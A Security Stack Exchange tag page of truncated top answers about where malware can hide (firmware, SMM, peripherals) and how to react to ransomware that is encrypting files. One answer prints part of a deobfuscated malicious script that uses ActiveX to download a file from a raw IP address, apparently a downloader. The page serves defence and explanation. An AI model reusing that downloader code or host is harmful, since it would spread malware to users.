Hot answers tagged

197

Plenty of places: BIOS / UEFI - BlackHat presentation (PDF) System Management Mode (SMM) such as Intel Management Engine (IME) - Phrack article. GPUs - Proof of concept rootkit on GitHub. Network cards - Recon 2011 presentation (PDF) A Quest To The Core (PDF) - a good presentation covering everything from BIOS to SMM to microcode. Modern hardware has a ...


128

Hibernate the computer If the ransomware is encrypting the files, the key it is using for encryption is somewhere in memory. It would be preferable to get a memory dump, but you are unlikely to have the appropriate hardware for that readily available. Dumping just the right process should also work, but finding out which one may not be trivial (eg. the ...


53

What I would do: Suspend the proces. Don't kill it, just pause it. Look in the process tree if there are any parents that might need suspending as well. Pull the network cable and/or turn off WiFi (and if you're paranoid, Bluetooth too). Check open files by those processes to see which one it is currently encrypting. If it's a particularly important one, ...


51

Ransom-ware (or any encryption software for that matter) will not encrypt the file in-place, because the encrypted filesize will not match the unencrypted filesize bit-for-bit (unless it's just an xor shuffle, in which case it's not really encryption). More importantly, a spontaneous abortion of the encryption process (due to a shutdown, running out of ...


40

The short answer to your question is yes. Here are some places where a virus could hide: On the firmware of your keyboard, mouse, webcam, speakers, etc. Basically anything you connect to your computer that has a writable firmware. On your hard drive firmware. Sort of on your hard drive, but still survives a reformatting. The NSA are likely suspects for ...


12

One of most common but unchecked places is... a peripherial with "embedded driver disk", like lots of 3G/4G USB sticks. They have — technically — a hub inside, and a Generic Storage + the device itself on it. Upgrading its firmware usually upgrades a disk image mounted to the generic storage part. It's read-only from PC in regular use, but it's ...


11

In addition to Angel's response, As seen in the popular ransomware variations that you mentioned, the encryption is done on a file by file basis where one file is encrypted and then the plain-text version of the file is removed, then the ransomware moves to the next file. It may start parallel threads to encrypt several files but the outcome is the same for ...


10

They will mostly be file-by-file. Thus, if you are “lucky”, you may find yourself with only some folders infected. There are several reasons for this: Easy to code. Just iterate through every file repeating an encryption routine. Suitable for external programs. Sometimes the ransomware is using a third-party program that works on files for performing the ...


10

The main problem for any kind of storage is that the system must be willing to execute the malware. During the boot of the operating system this means it has to be somewhere as an executable, DLL, driver or similar on the hard disk. It does not need to be fully there, i.e. it can be a small loadable stuff and the rest might reside somewhere else (even in the ...


7

In addition to the shutdown & copy approach others have mentioned there's another factor: The ransomware wants to hide what's going on until it's finished it's evil--thus the encrypted files are usually still readable as if they weren't encrypted until it's ready to demand it's ransom. Once you have located the files that matter and are encrypted put ...


6

There were a few things that came to mind when I read the question that extend beyond the scope of the example given. There are other places that a virus can be stored besides on a hard drive or even on a computer. A couple of those places would be bacteria (specifically E. coli) and your DNA. According to some research performed cerca 2010 that proved that ...


6

It most certainly is malware. It uses ActiveX to open up a shell with cmd.exe. This is the deobfuscated version: function zQlMdib() { var asupcI = new ActiveXObject("MSXML2.XMLHTTP"); asupcI['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false); var OnvPPuGD = WScript['ScriptFullName']; asupcI['send'](); if (asupcI['Status'] ...


5

In addition to an excellent Polynomial's answer, there are some more options: another device on the network, obviously (e.g. another computer infecting samba shares, router adding exploit to its web page, ...) USB device (e.g. flash disk) secretly changing to a keyboard and typing/downloading the malware to the host computer


5

[Mod Note: This answer is receiving a lot of flags, but is not worthy of deletion. This is a potentially valid course of action, though risky and potentially illegal in some jurisdictions. From a technical standpoint, this has a chance of being a way to preserve the data. Please see Meta for further discussion.] The best thing to do is nothing. Doing ...


5

Shut the computer down immediately. Provided you're not about to pay the ransom, any data that the virus is processing is lost anyway. So just push down the power button and hold it, or unplug the wire. Install Ubuntu or another portable Linux distribution onto your USB stick. Last time I did this it did fit on 2GB stick. I was cloning my HDD to SSD with ...


2

The answer is YES, they can hide in many other places, not only into your HDD, but also into other storage devices you have connected to your PC. In early days, I use to have lot of issue with CD/DVD "Autorun" option in my Microsoft Windows. Virus were so capable to automatically create "Autorun.inf" into burning media and use to run and infect ...


2

Not sure whether any other part of computer was used by virus,but long back came across BADBIOS What does bad bios do? Radio (SDR) program code, even with all wireless hardware removed. It is said to infect the firmware on USB sticks. It is said to use TTF (font) files, apparently in large numbers, as a vector when spreading. Apart from the above its ...


2

If you have your system set up so that only connections to your bank (eg. www.bank.com and www.bankcompany.net IPs) were possible, a redirect to a third site wouldn't load. The exploiit would need to be hosted on the same site as your bank (which is admittedly rare). As with many security solutions, it's possible that some bank update makes the website not ...


2

In case you are using a custom CPU working as an harvard architecture based design, a virus can inject the ROM that the instruction codes are stored in but it is a very very hard process to change a ROM value that way . Still it is an injection


2

I recently reviewed a student's homework assignment that was written in Python, that: Creates a new temporary directory/folder Does some stuff in that folder Moves the output file to the parent directory/folder Deletes the temporary folder Well at least thats what he thought it did. It actually deletes whatever the current directory is, including the ...


1

Theoretically: yes. Practically: The use case for this is too small to be worth the effort. Lets do a very theoretical excursus on how this could be possible: In theory, every computer communicating with other devices is vulnerable. This is simply due to the fact that interpreting communicated signals always leaves room for error. If such an error is ...


1

I can't say for sure, much like a car mechanic couldn't diagnose a problem without actually seeing it but here's what I can say. Remember that your computer is only 1 of many devices on your network. There's at least 1 more computer on your network, and that's your router. You may not know it, but it's a computer running an operating system, and is ...


1

It's pretty difficult to speculate on the cause with so little information to go on. It could be that someone else on your same network was infected and when you re-installed with a fresh OS you simply got re-infected before you could run your updates and install anti-virus. On the other hand it's not impossible that you did have some sort of malware ...


1

Ransomware is spreading just because people is paying it, questions and answers help getting Ransomware a reputation that is likely to make people paying. It is much better investing some money in a good anti-virus than having to pay later to recover your data. If interrupting the process in the middle may be harmful (because developers wanted you not try ...


1

What makes you think that's a virus? Ok, according to VT there is only one detection by NANO-Antivirus. In cases like this one, I like to check file in sandbox to see what's happening. So based on static and dynamic analyze with cuckoo sandbox, I don't see nothing which indicate to be a malicouse file. File Name vtuploader2.2.exe File Size 142744 bytes ...


1

Only 1 of 55 scanners detected anything and the report says Probably harmless! There are strong indicators suggesting that this file is safe to use I'd go with trusting the file.



Only top voted, non community-wiki answers of a minimum length are eligible